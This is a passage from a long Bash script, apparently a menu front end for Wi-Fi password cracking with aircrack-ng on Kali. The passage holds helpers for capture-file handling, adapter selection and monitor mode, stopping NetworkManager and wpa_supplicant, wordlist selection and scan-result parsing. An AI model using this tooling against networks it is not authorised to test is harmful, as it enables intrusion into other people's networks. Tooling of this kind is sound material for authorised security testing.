6053 | sessionLoad(){
6054 |
6055 | banner
6056 | bannerStats
6057 |
6058 | currentTask="sessionLoad"
6059 |
6060 | while read line
6061 | do
6062 | echo -e "$line \n"
6063 | done <"$capturePath/$encryptionType/$encryptionType.sessions"
6064 |
6065 | echo ""
6066 | echo ""
6067 | echo ""
6068 | echo "Scroll up to see all loaded sessions."
6069 | echo ""
6070 | echo ""
6071 | echo ""
6072 | echo "Press ENTER to continue...."
6073 | echo ""
6074 | echo ""
6075 |
6076 | read pause
6077 |
6078 | }
6079 |
6080 |
6081 | cleanCaptureFiles(){
6082 |
6083 | currentTask="cleanCaptureFiles"
6084 |
6085 | banner
6086 | echo ""
6087 | $red
6088 | echo "*** THIS WILL ERASE ALL CURRENT CAPTURE FILES!!!"
6089 | $white
6090 | echo ""
6091 | echo ""
6092 | echo "If you would like to create a backup before doing this, press B and ENTER"
6093 | echo ""
6094 | echo ""
6095 | echo "If you would like to CANCEL, press C and ENTER"
6096 | echo ""
6097 | echo ""
6098 | echo ""
6099 | echo ""
6100 | echo "Files will be copied to the \"/sessions/\" directory and backed up to a ZIP file"
6101 | echo ""
6102 | echo ""
6103 | echo ""
6104 | echo ""
6105 | $cyan
6106 | echo "Automatically Continuing In 10 Seconds..."
6107 | $white
6108 | echo ""
6109 | echo ""
6110 |
6111 | read -t 10 eraseCaptureConfirm
6112 |
6113 | case "$eraseCaptureConfirm" in
6114 |
6115 | "")
6116 | banner
6117 | echo ""
6118 | echo "Cleaning Capture Files...."
6119 | echo ""
6120 | echo ""
6121 |
6122 | sleep 3
6123 |
6124 | rm *.cap
6125 | rm *.ivs
6126 | rm *.xor
6127 | rm *.csv
6128 | rm *.netxml
6129 | ;;
6130 |
6131 | "c" | "C")
6132 | menuExtras
6133 | ;;
6134 |
6135 | "b" | "B")
6136 | backupFromCaptureErase="1"
6137 | backupSessionFiles
6138 | ;;
6139 |
6140 | *)
6141 | cleanCaptureFiles
6142 | ;;
6143 |
6144 | esac
6145 |
6146 | }
6147 |
6148 |
6149 | findCaptureFiles(){
6150 |
6151 | currentTask="findCaptureFiles"
6152 |
6153 | listCap=$(ls | grep .cap)
6154 | listIvs=$(ls | grep .ivs)
6155 | listXor=$(ls | grep .xor)
6156 | listCsv=$(ls | grep .csv)
6157 | listNetXml=$(ls | grep .netxml)
6158 |
6159 | }
6160 |
6161 |
6162 | ############################################################################
6163 | # SESSIONS STUFF END ###################################################
6164 | ############################################################################
6165 |
6166 |
6167 |
6168 |
6169 |
6170 | ############################################################################
6171 | # EMPTY VARIABLE CHECKS BEGIN ##########################################
6172 | ############################################################################
6173 |
6174 |
6175 | checkForEmptyEncryptionType(){
6176 |
6177 | currentTask="checkForEmptyEncryptionType"
6178 |
6179 | if [ "$encryptionType" == "empty" ];then
6180 |
6181 | banner
6182 | bannerStats
6183 |
6184 | echo ""
6185 | echo "There is currently no Encryption Type selected!"
6186 | echo ""
6187 | echo ""
6188 | echo "Press ENTER to return to main menu...."
6189 | echo ""
6190 | echo ""
6191 |
6192 | read pause
6193 |
6194 | menuMain
6195 | fi
6196 |
6197 | }
6198 |
6199 |
6200 | checkForEmptyCredentials(){
6201 |
6202 | currentTask="checkForEmptyCredentials"
6203 |
6204 | case "$1" in
6205 |
6206 | "bssid")
6207 | if [ "$bssid" == "" ];then
6208 |
6209 | banner
6210 | bannerStats
6211 |
6212 | echo ""
6213 | echo "There is currently no BSSID saved in the previous session!"
6214 | echo ""
6215 | echo ""
6216 | echo "Press ENTER to return to previous menu...."
6217 | echo ""
6218 | echo ""
6219 |
6220 | read pause
6221 |
6222 | $lastMenuID
6223 | fi
6224 | ;;
6225 |
6226 | "essid")
6227 | if [ "$essid" == "" ];then
6228 |
6229 | banner
6230 | bannerStats
6231 |
6232 | echo ""
6233 | echo "There is currently no ESSID saved in the previous session!"
6234 | echo ""
6235 | echo ""
6236 | echo "Press ENTER to return to previous menu...."
6237 | echo ""
6238 | echo ""
6239 |
6240 | read pause
6241 |
6242 | fi
6243 |
6244 | ;;
6245 |
6246 | "channel")
6247 | if [ "$channel" == "" ];then
6248 |
6249 | banner
6250 | bannerStats
6251 |
6252 | echo ""
6253 | echo "There is currently no CHANNEL saved in the previous session!"
6254 | echo ""
6255 | echo ""
6256 | echo "Press ENTER to return to previous menu...."
6257 | echo ""
6258 | echo ""
6259 |
6260 | read pause
6261 |
6262 | $lastMenuID
6263 | fi
6264 | ;;
6265 |
6266 | esac
6267 |
6268 | }
6269 |
6270 |
6271 | ############################################################################
6272 | # EMPTY VARIABLE CHECKS END ############################################
6273 | ############################################################################
6274 |
6275 |
6276 |
6277 |
6278 |
6279 | ############################################################################
6280 | # INTERFACE STUFF BEGIN ################################################
6281 | ############################################################################
6282 |
6283 | checkInterfaceMode(){
6284 |
6285 | currentTask="checkInterfaceMode"
6286 |
6287 | interfaceModeCheck=$(iwconfig | grep "$interfaceMonitor" | head -c 5)
6288 |
6289 | case "$interfaceModeCheck" in
6290 |
6291 | "")
6292 | interfaceMode="0"
6293 | #break;
6294 | ;;
6295 |
6296 | *)
6297 | interfaceMode="2"
6298 | #break;
6299 | ;;
6300 |
6301 | esac
6302 |
6303 | }
6304 |
6305 |
6306 | checkMultipleAdapters(){
6307 |
6308 | currentTask="checkMultipleAdapters"
6309 |
6310 | interfaceNumber="0"
6311 | interfaceNumberMax="99"
6312 | interfacesFound="0"
6313 |
6314 | while [ $interfaceNumber -le $interfaceNumberMax ]
6315 |
6316 | do
6317 | banner
6318 | $white
6319 | echo ""
6320 | echo "Checking WiFi Adapters...."
6321 | echo ""
6322 | echo ""
6323 |
6324 | interfaceCheck=$(iwconfig | grep "wlan$interfaceNumber" | head -c 5)
6325 | interfaceMonitor="$interfaceCheck""mon"
6326 | interfaceName=$interfaceMonitor
6327 |
6328 | case "$interfaceCheck" in
6329 |
6330 | "")
6331 | interfaceNumber="99"
6332 | interfaceNumberMax="99"
6333 | break;
6334 | ;;
6335 |
6336 | *)
6337 | #interface="$interfaceCheck"
6338 | interfaceNumber=$(($interfaceNumber+1))
6339 | interfacesFound=$(($interfacesFound+1))
6340 | ;;
6341 |
6342 | esac
6343 |
6344 | #echo "interfaceNumber: $interfaceNumber"
6345 | #echo "interfaceNumberMax: $interfaceNumberMax"
6346 | #echo "interfaceCheck: $interfaceCheck"
6347 | #echo "interfacesFound: $interfacesFound"
6348 | #read pause
6349 |
6350 |
6351 | done
6352 |
6353 | }
6354 |
6355 |
6356 | getWirelessInterfaceNames(){
6357 |
6358 | currentTask="getWirelessInterfaceNames"
6359 |
6360 | #if [ ! -z "$showAdapterUsbAtherosAR9271" ]; then
6361 |
6362 | # showAdapterOneName="$showAdapterUsbAtherosAR9271"
6363 |
6364 | #fi
6365 |
6366 | }
6367 |
6368 |
6369 | getWirelessInterfaces(){
6370 |
6371 | currentTask="getWirelessInterfaces"
6372 |
6373 | # Check for the "refresh" flag and DO NOT display text if enabled
6374 | # This is for the 2nd "getWirelessInterfaces" call for some forgotten reason :rolleyes: (Hides Text)
6375 | case "$1" in
6376 |
6377 | # This is just splashing some text to wait out the 5 minute timeout....make it look useful!!
6378 | "refresh")
6379 | banner
6380 | echo ""
6381 | echo "Preparing $encryptionTypeText Attack...."
6382 | echo ""
6383 | ;;
6384 |
6385 | *)
6386 | checkMultipleAdapters
6387 |
6388 | banner
6389 | echo ""
6390 | $cyan
6391 | echo "To Change Adapter Settings, Press \"C\" Now"
6392 | $white
6393 | #echo ""
6394 | #$cyan
6395 | #echo "Current: $interface"
6396 | $white
6397 | echo ""
6398 | echo ""
6399 | echo "To Select Interface From Discovered, Choose From Below"
6400 | echo ""
6401 | $green
6402 |
6403 | # If no adpaters found
6404 | if [ $interfacesFound -eq "0" ]; then
6405 | $red
6406 | echo "NO WIFI ADAPTER FOUND!!!"
6407 | $cyan
6408 | fi
6409 |
6410 | # If only one device detected
6411 | if [ $interfacesFound -eq "1" ]; then
6412 | getWirelessInterfaceNames
6413 | echo "1) wlan0 ($showAdapterOneName)"
6414 | fi
6415 |
6416 | if [ $interfacesFound -eq "2" ]; then
6417 | getWirelessInterfaceNames
6418 | echo "1) wlan0 ($showAdapterOneName)"
6419 | echo "2) wlan1 ($showAdapterTwoName)"
6420 | fi
6421 |
6422 | if [ $interfacesFound -eq "3" ]; then
6423 | getWirelessInterfaceNames
6424 | echo "1) wlan0 ($showAdapterOneName)"
6425 | echo "2) wlan1 ($showAdapterTwoName)"
6426 | echo "3) wlan2 ($showAdapterThreeName)"
6427 | fi
6428 |
6429 | if [ $interfacesFound -eq "4" ]; then
6430 | getWirelessInterfaceNames
6431 | echo "1) wlan0 ($showAdapterOneName)"
6432 | echo "2) wlan1 ($showAdapterTwoName)"
6433 | echo "3) wlan2 ($showAdapterThreeName)"
6434 | echo "4) wlan3 ($showAdapterFourName)"
6435 | fi
6436 |
6437 | if [ $interfacesFound -eq "5" ]; then
6438 | getWirelessInterfaceNames
6439 | echo "1) wlan0 ($showAdapterOneName)"
6440 | echo "2) wlan1 ($showAdapterTwoName)"
6441 | echo "3) wlan2 ($showAdapterThreeName)"
6442 | echo "4) wlan3 ($showAdapterFourName)"
6443 | echo "5) wlan4 ($showAdapterFiveName)"
6444 | fi
6445 |
6446 | if [ $interfacesFound -eq "6" ]; then
6447 | getWirelessInterfaceNames
6448 | echo "1) wlan0 ($showAdapterOneName)"
6449 | echo "2) wlan1 ($showAdapterTwoName)"
6450 | echo "3) wlan2 ($showAdapterThreeName)"
6451 | echo "4) wlan3 ($showAdapterFourName)"
6452 | echo "5) wlan4 ($showAdapterFiveName)"
6453 | echo "6) wlan5 ($showAdapterSixName)"
6454 | fi
6455 |
6456 | if [ $interfacesFound -eq "7" ]; then
6457 | getWirelessInterfaceNames
6458 | echo "1) wlan0 ($showAdapterOneName)"
6459 | echo "2) wlan1 ($showAdapterTwoName)"
6460 | echo "3) wlan2 ($showAdapterThreeName)"
6461 | echo "4) wlan3 ($showAdapterFourName)"
6462 | echo "5) wlan4 ($showAdapterFiveName)"
6463 | echo "6) wlan5 ($showAdapterSixName)"
6464 | echo "7) wlan6 ($showAdapterSevenName)"
6465 | fi
6466 |
6467 | if [ $interfacesFound -eq "8" ]; then
6468 | getWirelessInterfaceNames
6469 | echo "1) wlan0 ($showAdapterOneName)"
6470 | echo "2) wlan1 ($showAdapterTwoName)"
6471 | echo "3) wlan2 ($showAdapterThreeName)"
6472 | echo "4) wlan3 ($showAdapterFourName)"
6473 | echo "5) wlan4 ($showAdapterFiveName)"
6474 | echo "6) wlan5 ($showAdapterSixName)"
6475 | echo "7) wlan6 ($showAdapterSevenName)"
6476 | echo "8) wlan7 ($showAdapterEightName)"
6477 | fi
6478 |
6479 | if [ $interfacesFound -eq "9" ]; then
6480 | getWirelessInterfaceNames
6481 | echo "1) wlan0 ($showAdapterOneName)"
6482 | echo "2) wlan1 ($showAdapterTwoName)"
6483 | echo "3) wlan2 ($showAdapterThreeName)"
6484 | echo "4) wlan3 ($showAdapterFourName)"
6485 | echo "5) wlan4 ($showAdapterFiveName)"
6486 | echo "6) wlan5 ($showAdapterSixName)"
6487 | echo "7) wlan6 ($showAdapterSevenName)"
6488 | echo "8) wlan7 ($showAdapterEightName)"
6489 | echo "9) wlan8 ($showAdapterNineName)"
6490 | fi
6491 |
6492 | if [ $interfacesFound -eq "10" ]; then
6493 | getWirelessInterfaceNames
6494 | echo "1) wlan0 ($showAdapterOneName)"
6495 | echo "2) wlan1 ($showAdapterTwoName)"
6496 | echo "3) wlan2 ($showAdapterThreeName)"
6497 | echo "4) wlan3 ($showAdapterFourName)"
6498 | echo "5) wlan4 ($showAdapterFiveName)"
6499 | echo "6) wlan5 ($showAdapterSixName)"
6500 | echo "7) wlan6 ($showAdapterSevenName)"
6501 | echo "8) wlan7 ($showAdapterEightName)"
6502 | echo "9) wlan8 ($showAdapterNineName)"
6503 | echo "10) wlan9 ($showAdapterTenName)"
6504 | fi
6505 |
6506 | $white
6507 | echo ""
6508 | echo ""
6509 | echo ""
6510 | echo "TO USE DEFAULTS, JUST PRESS ENTER!"
6511 | echo ""
6512 | echo ""
6513 | echo "Continuing In 10 Seconds...."
6514 | echo ""
6515 | echo ""
6516 | ;;
6517 |
6518 | esac
6519 |
6520 | read -t 10 manualInterface
6521 |
6522 | hotkeyInput="$manualInterface"
6523 |
6524 | loadMenuHotkeys "$hotkeyInput"
6525 |
6526 | case "$manualInterface" in
6527 |
6528 | "")
6529 | case "$isKaliTwo" in
6530 |
6531 | "0")
6532 | interface=$(iwconfig | grep "wlan" | head -c 5)
6533 | #interfaceMonitor=$(iwconfig | grep "mon" | head -c 4)
6534 | interfaceMonitor="$interface""mon"
6535 | interfaceName=$interfaceMonitor
6536 | ;;
6537 |
6538 | "1")
6539 | interface=$(iwconfig | grep "wlan" | head -c 5)
6540 | #interfaceMonitor=$(iwconfig | grep "wlan" | head -c 8)
6541 | interfaceMonitor="$interface""mon"
6542 | interfaceName=$interfaceMonitor
6543 | #fixKaliTwoMonError
6544 | ;;
6545 |
6546 | esac
6547 | ;;
6548 |
6549 | "1")
6550 | interface="wlan0"
6551 | interfaceMonitor="$interface""mon"
6552 | interfaceName="$interfaceMonitor"
6553 | ;;
6554 |
6555 | "2")
6556 | interface="wlan1"
6557 | interfaceMonitor="$interface""mon"
6558 | interfaceName="$interfaceMonitor"
6559 | ;;
6560 |
6561 | "3")
6562 | interface="wlan2"
6563 | interfaceMonitor="$interface""mon"
6564 | interfaceName="$interfaceMonitor"
6565 | ;;
6566 |
6567 | "4")
6568 | interface="wlan3"
6569 | interfaceMonitor="$interface""mon"
6570 | interfaceName="$interfaceMonitor"
6571 | ;;
6572 |
6573 | "5")
6574 | interface="wlan4"
6575 | interfaceMonitor="$interface""mon"
6576 | interfaceName="$interfaceMonitor"
6577 | ;;
6578 |
6579 | "6")
6580 | interface="wlan5"
6581 | interfaceMonitor="$interface""mon"
6582 | interfaceName="$interfaceMonitor"
6583 | ;;
6584 |
6585 | "7")
6586 | interface="wlan6"
6587 | interfaceMonitor="$interface""mon"
6588 | interfaceName="$interfaceMonitor"
6589 | ;;
6590 |
6591 | "8")
6592 | interface="wlan7"
6593 | interfaceMonitor="$interface""mon"
6594 | interfaceName="$interfaceMonitor"
6595 | ;;
6596 |
6597 | "9")
6598 | interface="wlan8"
6599 | interfaceMonitor="$interface""mon"
6600 | interfaceName="$interfaceMonitor"
6601 | ;;
6602 |
6603 | "10")
6604 | interface="wlan9"
6605 | interfaceMonitor="$interface""mon"
6606 | interfaceName="$interfaceMonitor"
6607 | ;;
6608 |
6609 | "C" | "c")
6610 | banner
6611 | echo ""
6612 | echo "Enter Managed Mode Interface Name and press ENTER:"
6613 | echo ""
6614 | echo ""
6615 | echo ""
6616 | echo "Example: wlan0"
6617 | echo ""
6618 | echo ""
6619 | echo ""
6620 | $cyan
6621 | echo "If Nothing Is Entered, Then Default Values Are Used"
6622 | $white
6623 | echo ""
6624 | echo ""
6625 |
6626 | read manualSelectionManaged
6627 |
6628 | case "$manualSelectionManaged" in
6629 |
6630 | "")
6631 | interface=$(iwconfig | grep "wlan" | head -c 5)
6632 | manualSelectionManaged="$interface"
6633 | ;;
6634 |
6635 | *)
6636 | interface="$manualSelectionManaged"
6637 | interfaceName="$interface$manualSelectionManaged"
6638 | ;;
6639 |
6640 | esac
6641 |
6642 | banner
6643 | echo ""
6644 | echo "Enter Monitor Mode Interface Name and press ENTER:"
6645 | echo ""
6646 | echo ""
6647 | echo ""
6648 | echo "Example: $manualSelectionManaged""mon"
6649 | echo ""
6650 | echo ""
6651 | echo ""
6652 | $cyan
6653 | echo "If Nothing Is Entered, Then Default Values Are Used"
6654 | $white
6655 | echo ""
6656 | echo ""
6657 |
6658 | read manualSelectionMonitor
6659 |
6660 | case "$manualSelectionMonitor" in
6661 |
6662 | "")
6663 | interfaceMonitor="$interface""mon"
6664 | ;;
6665 |
6666 | *)
6667 | interfaceMonitor="$manualSelectionMonitor""mon"
6668 | interfaceName="$manualSelectionMonitor""mon"
6669 | ;;
6670 |
6671 | esac
6672 | ;;
6673 |
6674 | "W" | "w")
6675 | #returnTo="getWirelessInterfaces"
6676 | #spoofMacAddress
6677 | getWirelessInterfaces
6678 | ;;
6679 |
6680 | *)
6681 | getWirelessInterfaces
6682 | ;;
6683 |
6684 | esac
6685 |
6686 | #echo "$interface"
6687 | #echo "$interfaceMonitor"
6688 | #read pause
6689 |
6690 | }
6691 |
6692 |
6693 | disableChannelHopping(){
6694 |
6695 | sleep 1
6696 | ifconfig $interface down
6697 |
6698 | }
6699 |
6700 |
6701 | enableChannelHopping(){
6702 |
6703 | sleep 1
6704 | ifconfig $interface up
6705 |
6706 | }
6707 |
6708 | interfaceUp(){
6709 |
6710 | #ifconfig $interface up
6711 | ifconfig $interfaceMonitor up
6712 |
6713 | }
6714 |
6715 |
6716 | interfaceDown(){
6717 |
6718 | #ifconfig $interface down
6719 | ifconfig $interfaceMonitor down
6720 |
6721 | }
6722 |
6723 |
6724 | interfaceManaged(){
6725 |
6726 | #iwconfig wlan0mon mode managed
6727 | iwconfig $interfaceMonitor mode managed
6728 |
6729 | }
6730 |
6731 |
6732 | interfaceMonitor(){
6733 |
6734 | #iwconfig wlan0mon mode monitor
6735 | iwconfig $interfaceMonitor mode monitor
6736 |
6737 | }
6738 |
6739 |
6740 | fixKaliTwoMonError(){
6741 |
6742 | currentTask="fixKaliTwoMonError"
6743 |
6744 | case "$isDebugMode" in
6745 |
6746 | "1")
6747 | echo "DEBUG: Kali 2.x Fix - Step 1"
6748 | echo ""
6749 | echo "$interface"
6750 | echo "$interfaceMonitor"
6751 | read pause
6752 | ;;
6753 | esac
6754 |
6755 | ifconfig $interfaceMonitor down
6756 | sleep 2
6757 | iwconfig $interfaceMonitor mode monitor
6758 | sleep 2
6759 | ifconfig $interfaceMonitor up
6760 |
6761 | case "$isDebugMode" in
6762 |
6763 | "1")
6764 | echo "DEBUG: Kali 2.x Fix - Step 2"
6765 | echo ""
6766 | echo "$interface"
6767 | echo "$interfaceMonitor"
6768 | read pause
6769 | ;;
6770 | esac
6771 | }
6772 |
6773 |
6774 | ############################################################################
6775 | # INTERFACE STUFF END ##################################################
6776 | ############################################################################
6777 |
6778 |
6779 |
6780 | ############################################################################
6781 | # MISC STUFF BEGIN #####################################################
6782 | ############################################################################
6783 |
6784 |
6785 | # Reset Session Values Back To Default
6786 | setDefaultSession(){
6787 |
6788 | currentTask="setDefaultSession"
6789 |
6790 | sessionID="0"
6791 |
6792 | capturePath=$(echo "$PWD/sessions")
6793 | capturePathWEP=$(echo "$PWD/sessions/wep")
6794 | capturePathWPS=$(echo "$PWD/sessions/wps")
6795 | capturePathWPA=$(echo "$PWD/sessions/wpa")
6796 | capturePathWPA2=$(echo "$PWD/sessions/wpa2")
6797 |
6798 | }
6799 |
6800 |
6801 | getCustomList(){
6802 |
6803 | banner
6804 | bannerStats
6805 |
6806 | currentTask="getCustomList"
6807 |
6808 | echo ""
6809 | echo "Enter the path to the list and press ENTER:"
6810 | echo ""
6811 | echo ""
6812 | echo "Example: /pentest/wordlists/dictionary1.txt"
6813 | echo ""
6814 | echo ""
6815 |
6816 |
6817 | read tmpCustomList
6818 |
6819 | case "$tmpCustomList" in
6820 |
6821 | "")
6822 | getCustomList
6823 | ;;
6824 |
6825 | *)
6826 | wordlist="$tmpCustomList"
6827 | ;;
6828 |
6829 | esac
6830 |
6831 | }
6832 |
6833 |
6834 | getBSSIDCharOnly(){
6835 |
6836 | currentTask="getBSSIDCharOnly"
6837 |
6838 | if [ "$bssid" != "" ];then
6839 |
6840 | bssidCharOnly=$(echo $bssid | sed 's/[\:]//g')
6841 | fi
6842 |
6843 | }
6844 |
6845 |
6846 | getCurrentDate(){
6847 |
6848 | displayDate=$(date +"%D")
6849 | displayDate2=$(date +"%Y-%m-%d")
6850 | displayDate3=$(date +"%Y%m%d")
6851 |
6852 | }
6853 |
6854 |
6855 | getCurrentTime(){
6856 |
6857 | displayTime=$(date +"%T")
6858 |
6859 | }
6860 |
6861 |
6862 | getCurrentDateAndTime(){
6863 |
6864 | displayDateAndTime=$(date +"%D - %T")
6865 | displayDateAndTime2=$(date +"%Y%m%d / %T")
6866 | displayDateAndTime3=$(date +"%Y-%m-%d / %T")
6867 |
6868 | }
6869 |
6870 |
6871 | fixNegativeOneChannelError(){
6872 |
6873 | airmon-ng check kill
6874 |
6875 | }
6876 |
6877 |
6878 | startNetworkManager(){
6879 |
6880 | NetworkManager
6881 |
6882 | }
6883 |
6884 |
6885 | killNetworkManager(){
6886 |
6887 | currentPID=$(ps -A | grep NetworkManager | cut -c 1-5)
6888 | killTask=$(kill $currentPID)
6889 |
6890 | #echo "$currentPID"
6891 | #echo "$killTask"
6892 |
6893 | #read pause
6894 |
6895 | }
6896 |
6897 |
6898 | wpaSupplicantKill(){
6899 |
6900 | currentTask="wpaSupplicantKill"
6901 |
6902 | #currentPID=$(ps -A | grep wpa_supplicant | cut -c 1-5)
6903 | #killTask=$(kill $currentPID)
6904 |
6905 | killall wpa_supplicant
6906 |
6907 | #echo "$currentPID"
6908 | #echo "$killTask"
6909 |
6910 | #read pause
6911 |
6912 | }
6913 |
6914 | wpaSupplicantEnable(){
6915 |
6916 | currentTask="wpaSupplicantEnable"
6917 |
6918 | systemctl enable wpa_supplicant
6919 |
6920 | }
6921 |
6922 | wpaSupplicantDisable(){
6923 |
6924 | currentTask="wpaSupplicantDisable"
6925 |
6926 | systemctl disable wpa_supplicant
6927 |
6928 | }
6929 |
6930 |
6931 | # This will output all variables and values currently in use, and is for debugging purposes only
6932 | dumpEnvironment(){
6933 |
6934 | currentTask="dumpEnvironment"
6935 |
6936 |
6937 |
6938 | }
6939 |
6940 |
6941 | readXML(){
6942 |
6943 | local ifsType="$1"
6944 | local ifsCustom="$2"
6945 |
6946 | currentTask="readXML"
6947 |
6948 | case "$ifsType" in
6949 |
6950 | "")
6951 | local IFS=\> ; read -d \< E C ;
6952 | ;;
6953 |
6954 | "essid")
6955 | local IFS=\> ; read -d \< E C ;
6956 | ;;
6957 |
6958 | "bssid")
6959 | local IFS=\> ; read -d \< E C ;
6960 | ;;
6961 |
6962 | "channel")
6963 | local IFS=\> ; read -d \< E C ;
6964 | ;;
6965 |
6966 | # Takes 2 parameters
6967 | "custom")
6968 | local IFS=$ifsCustom ; read -d $ifsCustom E C ;
6969 | ;;
6970 |
6971 | esac
6972 |
6973 |
6974 |
6975 | }
6976 |
6977 |
6978 |
6979 |
6980 | openScanTargetsAsText(){
6981 |
6982 | while readXML "essid" ""; do
6983 |
6984 | if [[ $E = " cloaked=\"false\"" ]]; then
6985 | echo $C
6986 | fi
6987 |
6988 | done < "$defaultScanOutputXML" >> "$defaultScanOutputTXT"
6989 |
6990 | while readXML "bssid" ""; do
6991 |
6992 | if [[ $E = BSSID ]]; then
6993 | echo $C
6994 | fi
6995 |
6996 | done < "$defaultScanOutputXML" >> "$defaultScanOutputTXT"
6997 |
6998 | while readXML "channel" ""; do
6999 |
7000 | if [[ $E = channel ]]; then
7001 | echo $C
7002 | fi
7003 |
7004 | done < "$defaultScanOutputXML" >> "$defaultScanOutputTXT"
7005 |
7006 | $terminal gedit "$defaultScanOutputTXT"
7007 | }
7008 |
7009 |
7010 | cleanTempScanResultsFile(){
7011 |
7012 | flag="$1"
7013 |
7014 | case "$flag" in
7015 |
7016 | "all")
7017 | rm "$defaultScanOutputIVS"
7018 | rm "$defaultScanOutputXML"
7019 | rm "$defaultScanOutputTXT"
7020 | ;;
7021 |
7022 | "ivs")
7023 | rm "$defaultScanOutputIVS"
7024 | ;;
7025 |
7026 | "xml")
7027 | rm "$defaultScanOutputXML"
7028 | ;;
7029 |
7030 | "txt")
7031 | rm "$defaultScanOutputTXT"
7032 | ;;
7033 |
7034 | esac
7035 |
7036 | }
7037 |
7038 |
7039 | ############################################################################
7040 | # MISC STUFF END #######################################################
7041 | ############################################################################
7042 |
7043 |
7044 |
7045 |
7046 |
7047 | ############################################################################
7048 | # INITIAL LAUNCH BEGIN #################################################
7049 | ############################################################################
7050 |
7051 |
7052 | initMain
7053 |
7054 |
7055 | ############################################################################
7056 | # INITIAL LAUNCH END ###################################################
7057 | ############################################################################
7058 |
7059 |
7060 |
7061 |
7062 |
7063 |
--------------------------------------------------------------------------------